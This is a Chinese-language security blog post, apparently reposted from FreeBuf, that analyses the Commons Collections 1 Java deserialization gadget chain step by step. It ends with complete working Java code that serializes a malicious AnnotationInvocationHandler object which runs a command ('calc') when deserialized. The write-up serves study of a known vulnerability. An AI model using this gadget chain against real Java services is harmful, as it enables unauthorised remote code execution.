CC1攻击链分析,从Java对象到RCE的神秘旅程
文章介绍了Java反序列化漏洞及其在互联网系统中的威胁,并详细分析了CC1攻击链的工作原理。通过利用Commons Collections库中的漏洞,攻击者构造恶意对象,在反序列化过程中触发远程代码执行(RCE)。文章还展示了具体的代码实现和测试过程。 2025-8-1 03:21:10 Author: www.freebuf.com(查看原文) 阅读量:10 收藏

引言

简介:近年来,随着Java应用在互联网系统中的广泛应用,反序列化漏洞成为攻击者获取系统控制的常见途径之一。CC1通过巧妙地利用Java反序列化的漏洞,构建了一条攻击链,能够触发远程代码执行(RCE)。在这篇博客中,我们将深入探讨cc1攻击链的工作原理。

目标:分析CC1反序列化攻击链的攻击过程,了解其中的漏洞机制。

Commons Collections

Apache Commons 是 Apache 软件基金会的项目,Commons 的目的是提供可重用的、解决各种实际的通用问题且开源的 Java 代码。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

什么是 CC1 攻击链?

CC1攻击链,本质上就是一场反序列化界的“接力跑”。攻击者像导演一样,精心安排了一批“演员”——这些演员就是构造出来的一组恶意对象。在Java反序列化的过程中,这些对象一个接一个地出场,每个对象都是一段可利用的代码,也被称作“gadget”。这些 gadget 之间通过方法调用、反射机制等方式彼此衔接,最终达成攻击者的目的,比如远程命令执行(RCE)。

换句话说,整个反序列化过程就像是被“劫持”了,本来只是想恢复个对象,结果一不小心就执行了别人精心布置的整条攻击链。

我们今天要分析的 CC1 链条长这样 :

ObjectInputStream.readObject 
    ↓
AnnotationInvocationHandler.readObject 
    ↓
AbstractInputCheckedMapDecorator.setValue 
    ↓
TransformedMap.checkSetValue 
    ↓
ChainedTransformer.transform 
    ↓
InvokerTransformer.transform

环境准备

依赖下载

Idea配置,将src添加进去
image

创建项目

创建一个名为cc1的maven项目

将commons-collections3.2.1添加到pom.xml文件中

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
</dependencies>

生成后点击更新
image

工作原理分析

InvokerTransformer

在攻击链中,攻击最终通过InvokerTransformer.transform()方法执行,如下图
image
我们写一个类似的反射命令执行,如下:

Runtime r =  Runtime.getRuntime();
 Class<Runtime> c =  Runtime.class;
 Method method =  c.getMethod("exec", String.class);
 method.invoke(r,"calc");

这里我们改写为InvokerTransformer.transform()的方式:

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

TransformedMap

接下来选中上一步截图中的transform()方法,通过Find Usages查找哪些地方调用了transform,从其中找出可以利用的方法。这里我们拿TransformedMap举例。
image

AbstractInputCheckedMapDecorator

再找使用checkSetValue的地方,这里只有唯一的一处。
image
我们先验证一下,这里是否能正常利用:

Runtime r =  Runtime.getRuntime();
InvokerTransformer invokerTransformer=  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap<Object,Object> map = new HashMap<>();
map.put("123","12");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()) {
    entry.setValue(r);
}

在这里正常弹出计算器,我们接着往下走。

AnnotationInvocationHandler

接下来进一步找哪里使用了setValue,最好可以找到readObject中使用的。AnnotationInvocationHandler.readObject, 如图:
image
验证,在这里我们发现AnnotationInvocationHandler不是公开的,所以这里只能通过反射方式进行:

// 只能通过反射获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造器
Constructor annotationInvocationHandlerConstructor= c.getDeclaredConstructor(Class.class,Map.class);
// 设置可以访问
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformed);

整合测试

在这里我们已经把大部分流程都走完了,整理代码,执行。会遇到以下问题:

runtime不能被序列化

在这里改写为反射方式

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

我们通过下图可以看到ChainedTransformer下的transform可以把transform循环调用,所以我们修改一下:
image

Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

memberType为空,无法触发

在这里我们执行,会发现不能正常出发命令执行。通过debug调试,发现以下问题
image
所以在这里我们需要找一个有成员方法的class将Override.class替换
image
在这里我们改为Target.class,并且将map的key改为value,如:map.put("value","12");

完整代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

//TIP To Run code, press  or
// click the  icon in the gutter.
public class Main {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        HashMap map = new HashMap<>();
        map.put("value","12");
        Map transformedMap = TransformedMap.decorate(map, null,chainedTransformer);

        // 只能通过反射获取
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造器
        Constructor annotationInvocationHandlerConstructor= c.getDeclaredConstructor(Class.class,Map.class);
        // 设置可以访问
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

        serialize(o);
        unserialize("cc1.bin");
    }

    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc1.bin")));
        oos.writeObject(obj);

    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        return ois.readObject();
    }
}

运行
image

结语

作为一个还在学习阶段的小白,我可能讲得不全、不深,甚至还有理解不到位的地方。但正是因为有了这些总结,才更能让我意识到——安全知识不是死记硬背的概念,而是每一行代码背后的责任。安全路漫漫,从理解“恶意”开始。

参考链接

https://www.freebuf.com/articles/web/390210.html
https://www.bilibili.com/video/BV1no4y1U7E1/?vd_source=0ed89e161f9d781c8ebfddba184f1ae7


文章来源: https://www.freebuf.com/articles/web/442582.html
如有侵权请联系:admin#unsafe.sh